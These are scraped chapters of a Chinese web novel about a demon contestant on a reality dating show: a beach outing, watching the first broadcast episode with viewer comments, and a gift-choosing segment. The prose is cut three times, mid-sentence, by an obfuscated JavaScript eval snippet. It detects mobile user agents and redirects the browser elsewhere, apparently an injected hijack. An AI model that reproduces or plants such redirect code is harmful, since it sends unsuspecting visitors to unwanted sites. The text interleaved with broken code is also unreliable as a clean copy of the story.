l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090265|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走远了,下一秒我的背又贴上了另一个人的。 回头瞟了眼,封之南和我贴着,也在问楼序。 他们是不是有病,身高有什么好比的。 “到死也要把身高刻在墓碑上。”裴问青平淡点评他们的行径,在楼序贴上来前一把扯开我:“别比了,等会儿天黑别看海。” 真有毛病。 裴问青对这里比我们熟,领路的人是他,快到沙滩,程况野和脱缰野马一样拎着拖鞋冲了进去,直接开始在沙滩上狂奔。 “这是真憋狠了。”封之南啧啧称奇,一把勾住我的肩膀:“祝小乔,游泳去吗?” “不要。”我甩开他的手臂,往沙滩椅的方向走。 太阳好大,我要化了。 挺直的脊背支撑不住我,我缓缓挪进沙滩伞下,躲进阴凉里才感觉身体舒服不少。 沙滩上没有别的游客在,我本想问问裴问青,看见他的脸后,还是决定不自取其辱询问为什么没什么人。 裴问青不知道从哪儿端来一杯西瓜汁递给我:“不准备下水?” “太阳好大,不想动。”我接过西瓜汁喝了一口,说道。 不远处程况野和楼序已经玩疯了,你追我赶和傻子一样。 封之南全身上下剩条沙滩裤,面朝大海展臂,企图让自己的背影看起来格外雄伟。 很蠢。 我收回视线,裴问青坐在我旁边,平静地看着那三个野人。 “你不下水?”我问道。 “我只是过来看看日落。”他对我说道,“离日落就一两个小时,日光没那么烈之后再出去。” 徐明歌没和野人们一起玩,随便找了块地蹲下来玩沙雕,他的手艺是真的好,几分钟就堆出了一个城堡雏形。 很显然这个更酷,野人也不游泳奔跑,纷纷围在他身边,跟着搭沙雕。 我们在沙滩上待了近一个小时,日光没那么烈后,我才肯从沙滩伞下面挪出去。 程况野他们沙雕大计初具规模,城墙城堡甚至都有了,下一步就是攻防战。 我赤脚踩着沙子,是柔软粗糙的质感。 “之前没来过海边?”裴问青低声问道。 我诚实摇头:“没来过。” 读书的时候窝在学院宿舍,工作之后窝在公司宿舍。 我的精力实在支撑不起自己在外活动,这两天都算是意外事故,能精神一整天。 海潮涌上沙滩,覆盖到脚面,又慢慢褪去,留下湿漉漉的水痕,我低下头,去找螃蟹和贝壳的痕迹。 说不准还会有海带海蜇什么的被冲上岸。 裴问青没说话,只是安静地站在我旁边,和我低头一起看贝壳。 看得太专注,海潮再次涌上来的力道险些让我摔个四脚朝天。 裴问青扶住我:“小心点。” 我扒住他的手臂:“我这两天怎么老摔。” 莫名其妙就失去平衡摔一跤,如果不是裴问青就站在旁边,怕不是身上就要青一块肿一块。 “海滩软,浪潮大,你找贝壳太认真,没站稳会摔。”裴问青扶正我,耐心和我解释。 我扒着他的手臂没松开:“那我扶住你。” 在这儿摔了要沾一身水,我拒绝。 裴问青没说话,只是把手臂朝我这儿又伸了伸,摆明着不介意。 晴日无风,海面平静,与远处碧蓝的天空汇聚成细细的一条线。我看向远处海景,不免想起某个场景,伸手指向远方,问裴问青:“海的那边,是什么?” 裴问青疑惑地眨眨眼:“应该还有座岛,你要是想去,我叫人送游艇过来。” 封之南从我们身后跑过,高声道:“是自由啊——” 11.录制第四天(2) 24 “他还怪有活力的。”我听着封之南的自由呐喊,对裴问青道。 “他本性暴露之后就是这副癫狂的模样。”裴问青对封之南的变化没有半点惊讶,坚定认为封之南就是个疯子。 一阵浪打来,混进了什么奇怪的东西,蹭着我的脚背一过,像是一阵微弱的电流突袭,我无声爆了一句脏话,猛地往上一蹿,挂在了裴问青的身上。 “什么东西!” 裴问青一惊,却也没松开我,低下头看了眼:“一只小螃蟹,没事了。” 我感觉我的头发又全部炸开了,角好像也要放肆地从头发里冒出来。裴问青安静当支架扶着我,免得我滚进海里。 顾寒声和我说的我还记着,就怕这段时间睡眠时间变短会影响本体变化,一只手扶着裴问青,另一只手伸出来摸了摸自己的头顶。 啥也没有,只有个杂乱的草窝。 我安心地松了口气,从裴问青身上下来:“不好意思。” 顺便和人道歉。 裴问青并不介意我刚才那副抓住他的怂样,随口道:“没事。” 他说完,又转头看着我,带笑道:“只是我没想到你会怕这个。” 海里什么稀奇古怪的东西都有,万一冲上来一只海绵宝宝怎么办。 对未知的东西感到害怕多正常,我以前没见过人我也觉得人挺可怕的。 听说人还怕恶魔,这也让我有些感同身受,毕竟我们对彼此都不够了解。 这几年开了两界交流通道,这种对人类未知的恐惧减淡不少。 偷袭我脚的小螃蟹重新钻回了沙子里,我往后退了半步,对裴问青道:“对未知的东西总是要保持最低程度的恐惧和谨慎。” 我展开双臂试图和海风拥抱,被腥咸的味道冲了满脸,默默把手臂放下了。 后方传来叽叽歪歪的声音,我转头一看,徐明歌还在搭沙雕,楼序他们三个已经换了个项目,正在单腿蹦跶玩斗鸡。 “就这样子谁会喜欢他们。”我木着一张脸转回来,有点庆幸《绝对不恋爱》不是直播型的节目,不然弹幕全都是在羞辱他们。 一群傻子。 “喜不喜欢很重要么?”裴问青试着学我的站姿,但鉴于他平时有站直的习惯,学我的站姿显得有些不伦不类。 我伸手帮忙纠正了姿势,蹲在海滩上捏沙子:“好像也没那么重要,反正着急的是导演不是我。” 裴问青低笑了两声:“现在这个情况,他给我们约会的环节,我也只会觉得在玩闹。” 他说到这个,我才想起来还有个约会环节,六个人分成AB两组,A组买礼物,B组选,选到谁和谁出去约会,两两组队,也有可能一对二,是个变数很大的环节。 排列组合都能拍出好几对。 我转头看了眼正在斗鸡的那几个人。 “哈哈。” 我干巴巴笑了笑,发自内心的。 裴问青不在说什么,太阳正在沉入地平线之下,海面被昏黄余晖彻底覆盖,染上粼粼的金色。我怔怔地看向海面,掌心贴着海潮,海水与沙子从我指缝间流过,像是在抚摸海洋的长发。 “时间不早了,回别墅吧。”裴问青朝我伸出手。 我仰起头看他,他的大半身影都沉入黄昏之中,发梢跃动着星星点点的光,连深黑的眼眸都透出了不同,近乎琥珀的色彩。 “脚麻了。”我抓住他的手,诚恳开口。 真的起不来。 他反手抓住我的手,将我从沙滩上生拉硬拽出来,就像在摘一株塞进沙滩里的蘑菇。 我的右脚彻底发麻,左脚还能动,只能慢慢单脚蹦。 斗鸡的那几个也不斗了,站在原地看我的笑话。 “金鸡独立。”封之南朝我比了个大拇指。 我回头看了眼镜头,特别想朝他竖中指。 特别特别想。 25 回别墅的路上,发麻的左腿半天都恢复不过来,我走一步就要全身抖两下,特像触电了。 程况野在我旁边走,憋笑憋到脸红。 “要我们扶你吗?”封之南忍着笑凑到我旁边问道。我推开他蠢蠢欲动的手:“走开,你上次扶我跟抬年猪一样,我鞋尖要磨破了。” “那哪儿是我一个人的事儿,裴问青不也跟着抬么?” 我推开他的脸:“裴问青好歹把我往上提了提,你根本就是在拖我。” 回别墅这一路我们和小学生一样打打闹闹,坐在沙发上的时候,我才感觉到发麻的左腿恢复了。 “还麻着?”裴问青放下手里的衬衫,低声问道。 “没了。”我摇摇头,紧跟着打了个哈欠。 客厅内很安静,程况野他们回到别墅后就奔向浴室洗澡。他们玩得太野,身上不是沙子就是海水。 裴问青往厨房走去,站在冰箱前选择今晚的食材。 他们都在洗澡,没人打下手,我慢慢挪到厨房,跟在他身边问道:“我们先做饭好了。” 厨房里就剩下我和裴问青,他把猪前腿肉递给我,让我切成片。 人类的饭菜我做得不熟练,用刀却很熟悉,我把切好的猪肉片码在盘子里递给裴问青,换来两根没削皮的丝瓜,拿着削皮刀蹲垃圾桶旁边削皮了。 裴问青在灶台前走动,没低头,倒也能精准判断出我的位置进行走位,腿一次都没碰到我,很厉害。 比我一个走路撞墙的好多了。 他开始炒猪肉片时,徐明歌穿着家居服走进了厨房。他进厨房的架势估计比他回家还熟练,翻看了两眼食材就和裴问青交流了晚上的菜单。 经过我身边的时候,还低头问了我一句:“小乔,你晚上要吃糖水吗?” 节食所以少吃的观点似乎骗不了他们了,毕竟没有减肥节食的人是天天吃高糖食物当正餐的。 不过他们也没有多说,自然而然接受了所谓的节食借口。 徐明歌甚至让我直接点餐。 “什么糖水?”我仰起头看他,问道。 徐明歌朝我笑道:“你没有忌口的话,有什么我就做什么。” 有的吃就不错了,我点点头:“你做什么都可以。” 他拿着食材,走到另一个空置的灶台前,开始做饭。 我把需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115645|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要处理的食材全部处理完毕后就离开了厨房,不占空间影响做饭的两个人,默默坐在外面的中岛台前。 晚餐准备好后,我才看见封之南擦着头发下楼。 “不把头发吹干会头痛哦。”我趴在桌上,已经能问道椰汁的味道。 徐明歌给我做了芋头椰汁西米露,香气飘散进鼻腔,带来某种格外幸福的感觉。 封之南拿干毛巾粗暴地擦了把头发,这让他头发看起来很像美式前刺。 他抓着毛巾道:“就这点长度,晾会儿就干了。” 程况野非常狂野地从楼上冲了下来,他身后的楼序拎狗似的牵住他的后衣领,生怕他摔个四脚朝天。 晚餐的时间有点像是被好多只鹦鹉填满,我缩在桌角安静喝椰汁西米露,徐明歌甚至还做了一碟椰奶小方给我,简直是大好人。 饭后的环节按理来讲应该非常热闹,但是我突然困了。 这个理由非常正当而且紧迫,我需要睡眠恢复能量,因此在他们的注视下,我缩进了房间。 回房间做完一切睡眠需要的前置准备后,我躺在床上,关上了灯。 顾寒声就给我打了个电话。 “你有事吗?”我垮着脸问他。 “只允许你早上吵醒我不允许我晚上给你打电话?而且这才几点,祝乔乔你要不要看看?”顾寒声有些幸灾乐祸开口。 真想揍他,节目拍完我就去找秦姨告状。 “你想干嘛?”我抓抓头发,靠在床头百无聊赖问道。 顾寒声说:“你看看我给你发的消息。你在镜头前怎么那个鬼样子,笑死我了。” 我不知道他在讲什么鬼话,还是退出和他的通话界面,打开了聊天列表。 他给我发了个一条链接,我打开一看,《绝对不恋爱》的第一期。 何臣居然玩偷偷摸摸上线这一招,我没点击播放,反而问顾寒声:“看到了,你想说什么?” “没什么,只是分享一下好友在镜头前装出一副人模狗样的新奇感。” “我会把你扔进绞肉机日的一声打成糊糊。”我阴森森开口,“无情道的那帮人应该对合欢宗学子倒霉乐见其成。” “稍微对我好一点好吗?祝大王?” “呵呵。” 我冷笑两声以作回应,顾寒声让我欣赏欣赏自己在镜头前的衰样后,就挂断了电话。 往期的《绝对不恋爱》,我一个阳痿的看了都觉得不愧是《绝对不恋爱》,性张力的确和充沛,感觉那一个屋子里的矛盾冲突特别强烈。 的确很吸引人去观看,就想知道这栋房子里还能出现多少种发展的可能性。 但我们参加的这期节目,我有预感,是压根没有那些东西。 我坐在床头,卧室内的灯光早就暗淡,只有手机屏幕散发幽幽的光。 页面仍旧停留在第一期节目播放界面。 我在睡觉和看节目两件事中天魔交战,实在不知道该如何抉择。 居然有东西能让我在它和睡觉之间纠结,何臣竟然能拿捏住我的思考,人类还真是恐怖。 纠结了三十秒后,我按下了播放键。 12.录制第五天(1) 26 【来了,这期嘉宾都好陌生】 【上一季好歹认识两个,这季还真的全素人啊】 【之前看宣传我感觉会一般……如果不是冲这个名字】 【好像来人了,第一个人谁啊】 弹幕潮水般流过,观众大多是《绝对不恋爱》这档节目的粉丝。相比较之前自带热度的嘉宾,这次热度有所回落。 原有邀请的嘉宾之一徐钦没办法参加,弹幕里还有他的粉丝在发泄怨气,被路人观众刷了几十条刷走了。 镜头转至大远景,珍浮岛的全貌逐渐显现,主题曲与节目名字一同在画面浮现。 片头结束后,镜头拉至拍摄别墅。 【别墅挺之前的爆料,是某个嘉宾提供的吧?】 【这次又有富二代吗?】 【嘉宾不是全部公开了,哪里是富二代,富一代吧……】 行李箱滚轮的声音由远及近,弹幕的注意力被即将登场的第一位嘉宾吸引,对富一代的讨论换到了下个话题。 祝叙乔拎着一只黑色的行李箱,他穿着一件短袖卫衣,凌乱的头发盖在卫衣帽下,整张脸连镜头都没怎么拍清楚。 【这是哪里找来的宅男】 【哇,好阴沉,看着不像是来参加恋综的】 【脸也看不清楚,感觉不是很好相处的人】 【节目组前期宣传也没有发过他的照片,就@了一下人】 【不会是那个用户名和头像都超原始的那个吧?】 【真假,这个态度完全就是被逼着参加】 【但是身材还挺好,人看着很高诶】 弹幕从祝叙乔的脸上刷过,让那张被头发帽子遮掩的脸愈发模糊。 他提着行李箱走进别墅,像只野生大猫蹑手蹑脚打开了别墅大门,站在门口的入住准则前歪头晃脑看了两眼后,才局促地盯着四处的摄像头,手中拎好行李箱,贴着墙根走进了会客厅。 他在镜头下全身都散发出警惕的气息,坐在会客厅的沙发上后,才慢吞吞摘下卫衣帽子。 【我要笑疯了,这什么被拐现场,这么警惕做什么】 【真跟猫一样,陌生环境先应激】 那张被帽子和头发半遮半掩的脸终于露出全貌,镜头集中在那双潋滟的眼睛上,即便被困意疲倦席卷,也显得那双眼睛格外漂亮。 苍白的肤色和凌乱的头发给他平添了几分文弱。 祝叙乔从口袋里掏出棒棒糖,费劲扒拉开始拆包装袋。 【现在知道节目组为什么让他来参加了】 【现在知道了+1】 【+2】 镜头切换至别墅大门,第二位嘉宾登场。弹幕的注意力暂时转移裴问青的身上,就见他冷着一张脸出现在镜头前,极其自然地将剪刀递到了祝叙乔的手中。 【本来以为是个冷脸男,和死宅应该暂时不好开口,没想到直接帮小忙了】 【气氛微妙……】 节目后期甚至配上了一首轻柔的钢琴曲,以期表现出两人相处时的氛围。 直到他们开始交流,音乐戛然而止。 【前言收回,好尴尬】 【我没看过这么尴尬的恋综,已经感同身受开始尴尬了】 【从后面看完回来,只能说现在就是小菜一碟】 【前方高能不是随便说说的】 嘉宾们逐一到齐,弹幕也跟着格外统一刷起“前方高能”“名场面打卡”。 【到底在高能什么】 【现在知道了】 别墅会客厅内,六名男嘉宾各自占据一个位置,彼此之间隔着天南海角,每一个人的表情都像是从同一个模板中复刻出来的那冷淡疏离。 【绝对不恋爱】 【最契合节目名字的一季来了】 【全是冰山……好恐怖,谁家恋综搞一堆冰山过来的,我想看冰山融化,不想看冰山撞击啊!!!】 【节目组是不是疯了】 27 其实我也要疯了。 我紧急按下节目的暂停键,短短二十分钟,我仿佛度过了惨痛的一生。 好恐怖好冰冷的一档节目,我甚至能回想起第一天来时那种残酷冰冷的氛围对我的围剿的,冷漠的气息像是要穿透手机屏幕逮捕我。 有点太阴间了。 我盯着暂停的弹幕,退出播放软件,打开社交平台查看这期节目的网上评价。 都在骂节目组是疯子,还有人在看热闹,已然忘记这是一档恋综。 还有人坚持自己是在看恋综的观点,已经开始拉起cp,准备随时来一场磕cp大战。 拉完之后被看热闹的观众回复,已经是热闹性居多的团体综艺了,就不要这么紧张。 当然被嫌弃不会卖腐已经是格外眼熟的评论,我很同意这句话。 没有人会看一群幼稚鬼打闹,毫无性张力的恋爱综艺的。 我重新打开播放器,深呼吸三个来回后,才继续看镜头下的表现。 接下来的场景我记得很清楚,交换姓名,抽签选房间,出去买菜,做饭。 弹幕很善良地表达了对我的怜悯。 【头皮发麻了!!!好尴尬!!!】 【这是一群i人吗?这气氛看得我好难受】 【祝叙乔一个人承担了主持人的任务……好勇敢】 【和徐明歌感同身受了,不熟的人面前下不来台真的好恐怖】 【甚至没有人打圆场】 【祝叙乔打了】 【那打了和没打一样】 【别这么说嘛,人家也很努力】 我把头发挠得愈加杂乱,不是很想把这个节目看下去了。 感觉剪辑后期已经特别努力在告诉观众我们拍的是恋综哦,你看我们配的BGM多么浪漫暧昧。 实际上拍出来的效果特别像剪辑新手制作的拉郎混剪视频,一身正气的。 只不过这点正气在播到我和裴问青封之南一起出去买菜时变了。 看热闹的弹幕也焕然一新,变成了新的观点抒发。 【这三个人感觉不太对劲】 【健谈】 【那套别墅是不是有点问题,怎么一出别墅就可以讲话了】 【不会给他们下达了保持沉默寡言的剧本吧?】 【还真有这个可能】 我看着弹幕一路哈哈笑,笑到我和裴问青并排站着买菜,封之南挤过来的时候就变了。 这一段现场那会儿我并不觉得有哪里不对,但在节目组的拍摄和剪辑过后,硬生生让我觉得有点莫名其妙和古怪。 【把东西递给封之南就是让他走远点吧】 【是支开的动作没错吧】 【怎么感觉有人在吃醋呢】 【现在就开始明争暗斗了,这三个人是三角吗?】 老实说看到他们的推测时我头皮发麻,我没忍住想到燃冬那张海报,替换成了我和裴问青封之南。 下一刻这张令魔毛骨悚然的海报就在封之南的“是自由”中消失得一干二净。 我在瞬间被抚平,怜爱地看着弹幕上的发言。 只要他们知道封之南是个什么样子的弱智就好了,他懂什么恋综,只知道在海边喊着什么敌人啊自由啊就开始光身子乱跑。 至于裴问青的吃醋,我觉得就是无稽之谈。 他对封之南似乎多少有点看不惯,单纯不喜欢封之南那种轻浮作风,叫人去结账也是因为看他挑菜挑得稀巴烂,站在那儿又满嘴跑火车,直接把人打发了。 理顺之后,再看三角恋推测的弹幕我都心平气和不少。 我靠坐在床头,拿着手机继续看节目,中间甚至加入了恋综观察室这玩意儿,我甚至不知道何臣居然还布置了这么一个环节。 脑子告诉我应该听听这群人能分析什么,但是我的手指特别自觉地选择了直接跳过,跳过了这一环节。 后面我睡死在床上的那段何臣居然没让人剪掉,原封不动放了出来。 那个时候睡得太死,只能勉强判断出是个什么情况。 现在在看,完全就是一群人在吊唁我,程况野这个傻子到底是为什么要背对我半藏在楼序的怀中,一副悲痛欲绝的模样。 我感觉他们就是故意的。 【为什么这个场景那么好笑】 【后期也太搞了,为什么要配情歌,我要笑疯了】 【这个场景用那么暧昧浪漫的歌真的行吗?】 【后期素材库限时免费是吧,什么都塞进去】 片尾曲响起来的时候,我还坐在床头发呆。随着手机屏幕逐渐暗淡下去,我才意识到自己居然没有犯困,甚至盯着弹幕看完了第一期。 看起来就像是我被整了的第一期。 我随手把手机丢在床头柜上,倒车入库缩进被窝里。 今晚入眠时间比平时晚了一个多小时,我决心明天不早起补回来。 28 早上六点三十五分。 “要不要回去再睡一觉?”裴问青端着咖啡,对坐在沙发上的我说道。 我失神地摇了摇头。 “你现在的状态看起来不是很好。”他委婉道。 我不用看镜子就知道自己是什么状态。 阴沉的要命,随时都能把这座房子掀翻。 “我睡不着。”我盘成一团缩在沙发上,扯过一旁的毯子卷住自己,默默以一团的姿势躺下。 “你这副困意上涌的模样和你口中的睡不着相比实在没有说服力。”裴问青抿了口咖啡,无奈道。 我暴躁地抓了抓头发:“我的脑子好像通电了,噼里啪啦一阵乱叫,很吵,根本安静不下来。” 要睡觉的意识还没传遍全身,就直接被电焦了,我困得要命,大脑还在叫我嗨起来,最好精神百倍迎接新的一天。 我祝叙乔就没有超级精神过的时候,怎么还能强求我做元气男。 总不至于是昨晚看了那期节目才导致睡眠时间缩短,节目恐怖归恐怖,我做梦也没有梦到那些场景,睡眠质量还算不错。 头顶好像在冒黑气,但我已经不在乎是不是会在人类面前暴露了,暴露最好,直接放我走,毕业证书我也不想要了,恶魔为什么还有学历要求,怎么还要披上人皮,根本没有必要,当恶魔就好好当就是了…… 如果现在挑起大战会不会比较符合恶魔的调性?所以为什么不让我睡觉—— “不要胡思乱想。”身侧的沙发因重量凹陷。 裴问青温热的掌心轻轻搭在我的额头上,低声道:“越胡思乱想越睡不着,头就更痛。” 他的声音盘旋在我耳侧,温和缓慢,却又是带着不容反抗意味的安抚:“眼睛闭上。” 我顺从地闭上眼睛,意识在他的话语中不断下沉,在沉入黑暗之际,闪着光的场景突然爆发,交谈的声音从四面八方传来,黑色看不清形状的雾气团自上而下盘旋在我身侧,最后卷住了我的手。 “!” 我猛地甩开裴问青的手坐直,所有的困意被彻底驱散,裴问青疑惑地看着我:“怎么了?” 他的眼底有一瞬的猩红色,再定睛细看时只剩下深黑构筑的汪洋。我缓缓倒回沙发上,含糊其辞:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129508|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有。” 大概是平时抽风抽多了,裴问青并没有表现出意外的神情,只是轻轻拍了拍我的肩膀,手掌安抚性地揉了揉我的头发。 这一次闭上眼睛后,我没有坠入闪着光的场景之中。 是很宁静的黑色。 29 再次醒来时,已经是下午时分。我一睁开眼,就看见程况野蹲在沙发边盯着我,用发现新大陆的语气感慨:“你睡着的姿势好像猫哦。” 他甚至拍了照片给我看,自上而下俯拍,把我拍的和鹦鹉螺似的。 “你没事干拍我睡姿干嘛?”我哑着嗓问他,抓过他的手机删照片和备份,删完才把手机还给他。 程况野也不介意,眨了眨眼睛道:“眼见为实嘛,如果不拍照片给你看,你不会相信吧。” “相不相信也没有什么必要的吧。”我抓抓头发,自觉从沙发上滑落,别墅内少了几个人,我感知到了。 “他们去哪儿了?”我转头看向程况野。 程况野正在低头噼里啪啦玩手机,抬头紧急回了我一句:“裴哥封之南还有楼序出门买礼物了。” 徐明歌端着一碟巴斯克蛋糕从厨房出来,朝我招招手,我走到他身边,他直接切了一块塞到我手里。 “你睡着的时候,节目组过来发任务单了,分成两组买礼物,这次先轮到他们。” 他和我解释道。 “还真要搞约会环节?”我端着那块蛋糕,叉子挖了一块下来。 徐明歌看向我的目光很无奈:“说真的,好歹是恋综呢。” 都不恋爱了,还算什么恋综。 我忍住辩驳的心态,站在中岛台前安安静静吃蛋糕。 脑子里却是六点多裴问青坐在我身侧的场景。 无论是闭眼后陡然看见的闪光场景,还是裴问青眼底闪过的那一瞬猩红,都让我产生了一股莫名的猜测。 裴问青究竟是不是人? 我也能用当时太困了产生错觉来应付自己,但恶魔本身的身体构造就和人类不同,恶魔并没有“错觉这种说法”。 怀疑一旦产生不如直接求证,我下意识挖了一勺蛋糕,徐明歌的声音在耳边再次响起:“不好吃吗?” 他有些关切地看着我,指了指盘子里的蛋糕。 “啊?好吃的。”我回过神对他道。 “你刚才吃蛋糕的表情和平时不一样,我还以为我做失败了。”他笑道。 “和平时不一样?”我茫然地看着他,就听他道:“你平时吃蛋糕的时候看起来很开心。” “刚刚一脸沉郁,活像有人欠你八百万,难怪徐明歌会觉得蛋糕不好吃。”程况野晃悠进厨房,朝徐明歌举手:“我也想吃!” 我拉开椅子坐下:“这也能看出来吗?我一直以为我吃东西没什么表情。” “我不太喜欢和人说话,但有时候避不可免要参加聚会,观察别人的时候练习出来的技能。”徐明歌给程况野递了一块蛋糕,“有时候融入氛围很重要嘛。” “虽然你自己不觉得,但在我看来还是很明显的。”他伸手虚空点了点我的脸,“眼睛就像在笑一样。” “程况野吃到喜欢的东西,眉毛会突然跳动两下。”徐明歌笑得很内敛,我朝他比了个大拇指:“很厉害。” 能轻而易举观察到他人脸上微小的表情并迅速判断对方情绪,是个很厉害的能力。 他不再在这个话题上多言,指指我已经空了的盘子,问道:“还要吃吗?我烤了两个。” “要,多谢。” 我把盘子递给他,外出买礼物的三人组也回来了。 裴问青脱下外套,坦然地站在了我的身边。 我又没有感知到他来的气息,已经不知道第几次,他就这么悄无声息出现在我身旁了。 似是注意到我的视线,他低下头看向我,目光如同早上那般温和平静:“怎么了?” 我静静注视他,视线再次详细地从他的发梢观察到脚,不动声色掠过他的全身,最后缓缓摇了摇头:“没有。” “你俩这么暧昧对视干嘛。”楼序一脸困惑地问道。 封之南从他身后勾住他的肩膀:“楼序,所以我说了,你的这张嘴,有时候不要开口比较合适。” “刚才多好的素材啊。”他做了个夸张的动作感慨道。 如果不是因为蛋糕珍贵,我真想直接一盘子糊在他的脸上。 狗东西啊狗东西。 被他一打岔,我也没有观察裴问青的心情了,捡了点能说的问他:“你们买了什么礼物?” 裴问青摇了摇头:“保密,不能说。” “要你自己挑啊。”封之南的手还搭在楼序身上,“你自己选礼物,然后明天和送礼人约会。” “还没到选礼物的环节,我总感觉你会送奇奇怪怪的东西。”我对他道,“我希望我不要选到你。” “嘴巴怎么那么毒啊祝小乔,你好伤我的心。”封之南悲痛欲绝,抹了把不存在的眼泪,西子捧心道。 我面无表情看着他演,斩钉截铁重复了第二遍:“我希望我不要选到你。” “所以有什么必要重复第二遍啊!”封之南气急败坏,没过几秒又恢复正常,狡黠开口:“不想选我,那你要选谁,楼序这个锯嘴葫芦,还是裴问青?” 楼序在他身后,往他脑袋上锤了锤。 封之南哀嚎一声抱头蹲下。 这不是活该么,每回都当着楼序的面挑衅楼序,不挨打才怪。 我看戏看得开心,下意识转过头观察其他人的反应。 和裴问青对上了视线。 13.录制第五天(2) 30 晚餐结束后,我和徐明歌、程况野参加只有我们三个在场的礼物选择环节,裴问青他们被节目组赶回房间待着了,以免在场和我们串通。 我就想知道这个串通的想法到底是从哪里冒出来的,明显就是无稽之谈。 坐一块挑礼物,只会听见毫不留情的吐槽,收礼方和送礼方的矛盾争端。我打赌封之南绝对会挤眉弄眼挖坑,骗别人跳进坑里。 “其实我哪个都不想选。”我在思索时,程况野突然开口。他抱着抱枕盘腿坐在沙发上,把自己盘成一团,姿态特别娇俏,和他平时的言行举止有很大的出入。 就是脸上笑得特别开心,让魔猜不出来这话是真是假。 “我也是。”他说完后,徐明歌也小声接道,“选礼也没有什么意义吧。” “你们两个。”我跌进沙发里,随手从旁边拿了个抱枕塞进怀里垫手,懒散开口,“这不是节目流程吗?后面还要轮到我们买礼物。” “那小乔你想选吗?”程况野凑过来问我,“你想你先。” 我沉默地转头盯着他,最后诚实承认:“好吧其实我也不想。” 他露出了满意的笑容。 这到底有什么可满意的? 茶几上放了三个礼物,包装分别是灰色,黑色和红色,大小也格外和谐,从小到大。 很难分辨出这三个礼物的送礼风格都代表了谁。 我们围着茶几,盯着茶几上的三个礼物很久,没有谁愿意先开口。 在谁先选择这件事上,我和程况野徐明歌产生了分歧。 我坚持按照逆时针的顺序,这样选择的顺序就是程况野徐明歌,最后才是我。 但程况野反驳我:“为什么不能是顺时针?” 徐明歌在中间笑眯眯,完全没有要争的意思。 他坐在中间,哪个顺序都不妨碍他是第二个,但我总感觉他在憋着坏。 自从早起恶作剧事件之后,我就知道他是人类口中的白切黑,看起来人畜无害白净安全,其实满腹黑水,切开芯儿都是乌黑锃亮。 在先后顺序上,我们争夺了将近半小时,最后是何臣亲自跑来让我们别在这种事情上叨叨,强行搞了抽签条让我们抽,纸上什么数字就第几位选,这才结束一场先后顺序之争。 他对我和程况野采取了各打五十大板的操作。说实话我想把那五十大板打他身上。 我盯着他没好气的眼睛,撇撇嘴抽走他手里纸条,打开一看,我第三。 “我最后。”我当着程况野的面,把纸条展开来给他看。 他的纸条上很屈辱地写了一号,徐明歌是第二个,还是我一开始提出的逆时针选择顺序。 不知道程况野在和我争论什么,这抽签顺序可是“天命在我”。 程况野垮脸也只垮了一小会儿,很快就重振旗鼓,兴致勃勃在三个礼物里挑选。 既然他对这件事一直抱有兴奋期待的态度,到底是为什么要和我争论不休啊? 程况野的手指在礼物上方点来点去,嘴里振振有词,我听了半天,好像是“小公鸡点到谁就是谁”。 我打了个哈欠,他终于选择结束,拿走了最大的红色包装礼盒。 “颜色喜庆,还是最大的,就这个了!”他拿上礼物,放在耳边晃了晃。 那个包装不知道是谁定的,估计深谙程况野的心理习惯。 徐明歌看了眼他手里大红色的礼物盒,在灰色和黑色之间选了灰色。 剩下最小的黑色礼盒就是我的。 “拆开来看看?”程况野低头看礼物,手指已经在抠弄礼品纸,语气欢快开口。 我已经懒得吐槽他那副兴奋的模样,有一搭没一搭拨弄手里黑色的礼品盒。耳边稀里哗啦声响,转头一看程况野已经把礼品纸拆得一干二净,茶几上还有点碎片,那是礼品纸的残渣。 徐明歌拆东西就很细致,拆完礼品纸一整张完整叠好放那儿。 我低头看了眼,叹口气把外包装拆了。 小巧的礼物盒拆开后,看外观像是首饰盒,依旧是黑色的外观,看来是和礼品纸做了呼应。 我慢慢打开首饰盒,在心里想有谁是会戴首饰的。 来参加节目的这几个人,我就没看他们有戴什么首饰,程况野压根不用讲,活得和野人一样,戴首饰耽误他发挥,楼序榆木疙瘩一个,我对首饰也不感兴趣。 盘算来盘算去只有一个裴问青喜欢戴腕表。 “首饰?”徐明歌疑惑地看了眼,“怎么会突然想到买首饰,好奇怪。” 丝绒上,只有一只红宝石耳坠。 耳坠整体是银制,细细看去像是一条蛇盘踞在宝石之上,倒过来看,又像是叼着宝石,就像伊甸园的那条蛇。 我茫然地看着掌心的这只耳坠。 “我现在很想知道这个到底是谁送的。”沉默许久后,我开口道。 “我们两个人都没耳洞。”程况野很简单粗暴地摸了摸徐明歌的耳垂,咋舌道:“不会只是看这个漂亮才买的吧?” “按照那三个人的行事风格,很有可能。”徐明歌也不介意他的动作,点点头认可道。 “小乔你有耳洞吗?”程况野挤到我身边坐下,开口问。 我下意识想摇头,摸上耳垂时,还是勉为其难点点头:“我有。” 几乎每个魅魔都有耳洞,我不知道这是什么习俗,总而言之就算是我也没有逃开打耳洞这件事,只是我不习惯戴耳饰,那枚耳洞就这么被我遗忘了。 “只有你有耳洞……不会是专门送给你的吧。”程况野摸摸下巴,像是发现什么惊人的真相。 